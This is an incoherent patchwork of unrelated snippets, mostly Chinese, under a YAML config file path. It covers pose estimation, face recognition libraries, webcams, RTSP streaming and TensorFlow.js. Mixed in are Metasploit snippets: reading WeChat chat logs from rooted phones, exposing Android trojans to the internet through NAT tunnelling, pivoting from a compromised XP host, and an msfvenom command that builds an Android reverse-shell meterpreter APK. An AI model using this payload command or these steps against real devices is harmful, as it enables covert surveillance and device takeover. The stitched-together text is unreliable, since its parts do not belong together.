configs/apis/pose_estimator.cascade_rcnn+hrnet.yaml:
今天,一个名为 Real-Time-Person-Removal(实时人物去除)项目在 GitHub 上火了,登上近日 GitHub Trending 第一,目前已经获得 1.8k star。
I’ve just finished a recent side project with my friend Kendrick. (his GitHub) We built an autonomous car that you can teach how to drive, then it drives around by itself. I did all of the hardware/arduino software and Kendrick did all of the machine learning software. He called his project Suiron and it’s available on GitHub here. The code running on the arduino is called car-controller and is available on my GitHub here. https://github.com/jabelone/car-controller
在前面的章节,我们讨论了各种JavaScript概念和运行在浏览器上的各种深度学习框架。在本章中,我们将所有的知识付诸于实践,证明该技术的潜力。
JST-SH 是一种 1.0 毫米间距/可断开压接式连接器,用于多个 OpenPilot 板上。用于体积小,连接可靠。不要将它与 JST-ZH 或 JST-XH 混淆,它们是不同的连接器且未在 OpenPilot 项目中使用。
从其 model zoo 选择一个感兴趣的模型进行推断。这里以 COCO R50-FPN 3x 训练的各类模型进行演示。
我们在对接Unity下推送模块的时候,遇到这样的技术诉求,开发者希望在Android的Unity场景下,获取到前后摄像头的数据,并投递到RTMP服务器,实现低延迟的数据采集处理。
对于 MMPose 我是慕名已久,一直以来跟不少做 Pose 的大佬交流时也常常提起,说同样的模型用 MMPose 跑出来点数会高不少,然而 MM 系列的封装逻辑和学习门槛让我一再搁置,终于最近才下定决心要把它啃下来。
这个是安装的脚本,简单分析一下。就是用curl这个命令行软件下载一个脚本文件,把这个文件下载以后放到以下目录,这个过程中开启静默模式,不输出任何东西。
疫情期间大家纷纷开始在家办公,不得不买个摄像头在家用。本文作者也买了一个,这也是他进入21世纪以来买的第一个摄像头。
RTSP (Real Time Streaming Protocol),实时流协议,是一种应用层协议,专为流媒体使用。本文将介绍 GStreamer, VLC, FFmpeg 这几个工具,如何发送、接收 RTSP 流。
这是一个面向工程应用的库,在部署方面,提供了Python\C++\Android示例,另外支持用户在自定义数据集上仅需几行命令训练自己的模型,可谓良心之作!
在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。 “如何获取Android、iPhone手机上的微信聊天记录? ” 0×00 条件: 安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机) Apple设备越狱,安装OpenSSH插件 0×01 安卓: 很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知
本文将介绍 FFmpeg 如何播放 RTSP/Webcam/File 流。流程如下:
-欢迎 原文该项目是要构建一款免费、开源、实时、离线的网络 app,支持组织者使用人脸识别技术或二维码识别所有受邀人员。有了世界上最简单的人脸识别库,使用 Python 或命令行,即可识别和控制人脸。该库使用 dlib 顶尖的深度学习人脸识别技术构建,在户外脸部检测数据库基准(Labeled Faces in the Wild benchmark)上的准确率高达 99.38%。这也提供了一个简单的 face_recognition 命令行工具,你可以打开命令行中任意图像文件夹,进行人脸识别! 1.找出下面图
Face Recognition软件包 这是世界上最简单的人脸识别库了。你可以通过Python引用或者命令行的形式使用它,来管理和识别人脸。 该软件包使用dlib中最先进的人脸识别深度学习算法,使得
TensorFlow 的 JS 版本终于出啦,deeplearn.js 正式收编至 TensorFlow 项目,并改名为 TensorFlow.js : 采用 WebGL 加速的基于浏览器的 JS 机器学习库。 摘要: 本文涉及 TensorFlow 基本概念的理解,迁移学习技术的实践应用,全文从技术聊到产品的玩法,设计师/产品经理只有懂得技术的新特性,才能为产品融入新的玩法。设计师也应该关注新技术带来的新的交互方式的变化,研究怎么样的交互方式才适合基于浏览器的深度学习应用。 阅读本文需要有 tensorf
TensorFlow 的 JS 版本终于出啦,deeplearn.js 正式收编至 TensorFlow 项目,并改名为 TensorFlow.js :
Kali linux的安卓木马一般只能在内网操作,要想在监控互联网的安卓手机,必须要使用内网穿透,工具有很多,我使用的是NATAPP。思路如下:
Face Recognition软件包 这是世界上最简单的人脸识别库了。你可以通过Python引用或者命令行的形式使用它,来管理和识别人脸。 该软件包使用dlib中最先进的人脸识别深度学习算法,使得识别准确率在《Labled Faces in the world》测试基准下达到了99.38%。 它同时提供了一个叫face_recognition的命令行工具,以便你可以用命令行对一个文件夹中的图片进行识别操作。 特性 在图片中识别人脸 找到图片中所有的人脸 找到并操作图片中的脸部特征 获得图片中人
一.Metasploit简介: Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
1、保持在 ubuntu 界面,插上 usb 摄像头,将 usb 摄像头连接到虚拟机上。
首先Termux,你可以把它当做是一个Android终端模拟器和Linux环境应用程序,安装可直接使用,无需root或设置。自动安装最小基本系统 – 使用APT包管理器可以使用其他软件包。
上一篇文章介绍了MediaPipe中手势关键点检测与简单的手势识别,本文介绍如何试用MediaPipe实现人脸3D点云数据提取,提取的数据为人脸468点位, 相关的论文来自这里:
就是我们穿透去公网并且公网穿透连接本地Ip---->监听本地IP ---->目标点击.exe--->
每个 Flag 包括 flag_name, default value 和 description.
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
因为kali是134,目标靶机是在kali开启后进行挂载的,可以直接判断为地址要大于134
一般市面上的家用监控头,两三百块一个,像素大概500万以下。500万像素大概相当于笔记本摄像头,或2015年之前常见中低端手机的前置摄像头水平,或零几年手机后置摄像头的水平。成像质量远远不如这两年的手机。另外还有安全问题:这类摄像头如果联公网异地查看,无疑会把家里摄像的数据上传到商家服务器,被外人看光光。
https://sites.google.com/view/actionablerepresentations
Metasploit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,同时该工具也是渗透测试环境中的利器,它支持多平台Payload的生成具有完全的跨平台性,本次实验将学会生成各种攻击载荷。
近期正在探索前端、后端、系统端各类常用组件与工具,对其一些常见的组件进行再次整理一下,形成标准化组件专题,后续该专题将包含各类语言中的一些常用组件。欢迎大家进行持续关注。
face_recognition 宣称是史上最强大,最简单的人脸识别项目。据悉,该项目由软件工程开发师和咨询师 Adam Geitgey 开发,其强大之处在于不仅基于业内领先的 C++ 开源库 dlib 中的深度学习模型,采用的人脸数据集也是由美国麻省大学安姆斯特分校制作的 Labeled Faces in the Wild,它含有从网络收集的 13,000 多张面部图像,准确率高达 99.38%。此外,项目还配备了完整的开发文档和应用案例,特别是兼容树莓派系统。简单之处在于操作者可以直接使用 Python和命令行工具提取、识别、操作人脸。
上面的包源已经发生变化 可前往https://fivecc.coding.net/public/mjpg-streamer/mjpg-streamer/git 查看,
购买摄像头的时候知道了大部分摄像头不支持Linux系统。经过@陶大佬的指点,发现可以通过安装cheese来激活Ubuntu自带的摄像头驱动(UVC)。
昨天调试了人脸识别(classifier_webcam)这个程序,效果不错,响应速度也挺快。按照http://blog.csdn.net/u011531010/article/details/52270023博客内容进行调试即可。 今天调试了python写的landmark,用的是dlib库里的68点文件,其中dat文件为训练好的68点标注,我们加入了视频的实时检测的功能,仿照classifier_webcam这个文件(openface中的)使用VideoCapture(0)这个
运算速度达每秒百亿亿次的 E 级计算机,被称作“超级计算机界的下一顶皇冠”。8 月 5 日,国产超算研制向着这一皇冠又迈进了一步:神威E级超算原型机在国家超级计算济南中心完成部署,并正式启用。 这一原型机的系统软件,由完全自主研发的神威睿思操作系统、神威睿智编译器等构建。运算系统全部采用“神威26010+”众核处理器,高速互连网络系统全部采用申威网络交换芯片、申威消息处理芯片,这些关键部件均具备完全自主知识产权。存储和管理系统由申威多核处理器构建,实现对该领域产品的国产化替代。(via. 新华网)
NDI是目前强大的IP化视频传输技术,它不仅被广泛运用在广电行业,医疗示教,网络直播,更是被各类视频会议系统、直播系统接受吸纳,我们只需要通过一个NDI Webcam Input工具,就可将NDI视频源指派为任何支持网络摄像头的程序输入,轻松摆脱传统SDI/HDMI线缆。
信息收集对于渗透测试可以说是重中之重,正所谓“知己知彼,百战不殆”。所以我们的信息收集也是一样,收集的信息越多越好。对于目标的信息收集,主要针对目标的服务器系统、数据库系统、中间件系统、应用程序系统、以及边界设备等信息。以及收集针对于系统管理员的信息收集。
以社工等方法获取到xp主机的shell 通过metasploit会话,使用Windows xp靶机作为跳板,扫描和攻击内部网络主机
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.74.129 LPORT=4444 R > /root/桌面/shell.apk
自幼受贵州大山的熏陶,养成了诚实质朴的性格。经过寒窗苦读,考入BIT,为完成自己的教师梦,放弃IT、航天等工作,成为贵财一名大学教师,并想把自己所学所感真心传授给自己的学生,帮助更多陌生人。
前不久有伙伴在Q群中询问用matlab调用网络摄像头的事,其实咱很久之前就分享过,由于看的人太少了就给删了。今天重新整理分享出来,本文的主角就是IP Webcam,通过它就可以轻松将智能手机转变成网络摄像头,这也是为啥将标题取为“matlab让我的旧手机起死回生”的原因。如果手中有闲置旧手机,安上IP Webcam,打开手机无线热点(无需使用数据流量和WiFi就能用,仅打开热点),旧手机里面变成一个全能监控王。接下来就一起来看看怎么操作的吧!
如果您的网络摄像头上有一块胶带,您很可能听说黑客或NSA可以远程侦察您。问题是如何?远方的人,你从未见过的人如何能够远程连接你的机器并监视你? 现在可能是你的CCTV,IP摄像头只是暴露在互联网上,攻击者在Shodan等网站上发现了它。你没有更改默认密码和bam,他们在。看着你的一举一动。物联网相机通常就是这种情况。但是,如果我们谈论您内置的网络摄像头,答案
在ROS1系统中,可以创建一个节点,在节点中展示来自即插即用摄像头的图像(云端可以用视频流)。这是一个复杂数据主题的例子,这些数据可以使用特殊工具更好地可视化或分析。只需要一个摄像头(或者一段视频)来完成这些,例如笔记本上的webcam(或一些符合标准的视频文件)。在这个案例中,通过调用OpenCV库实现一段基本的摄像头(或视频)捕捉程序,然后在ROS中将采集到的cv::Mat图像转换到ROS图像,这样就可以在主题中发布了。这个节点会在/camera主题里发布图像帧。
1.安装 MMPose。如果你已经是 MMPose 的用户,只需要拉取最新的 master 分支到本地即可。
樹莓派買回來好久,一直也沒什麼地方用得上。這次折騰下攝像頭監控的東東。 首先,找一個樹莓派支持的攝像頭。我的是很久以前用過的一個,像素質量已經很差了。幾乎看不清東西,先將就用一下吧。
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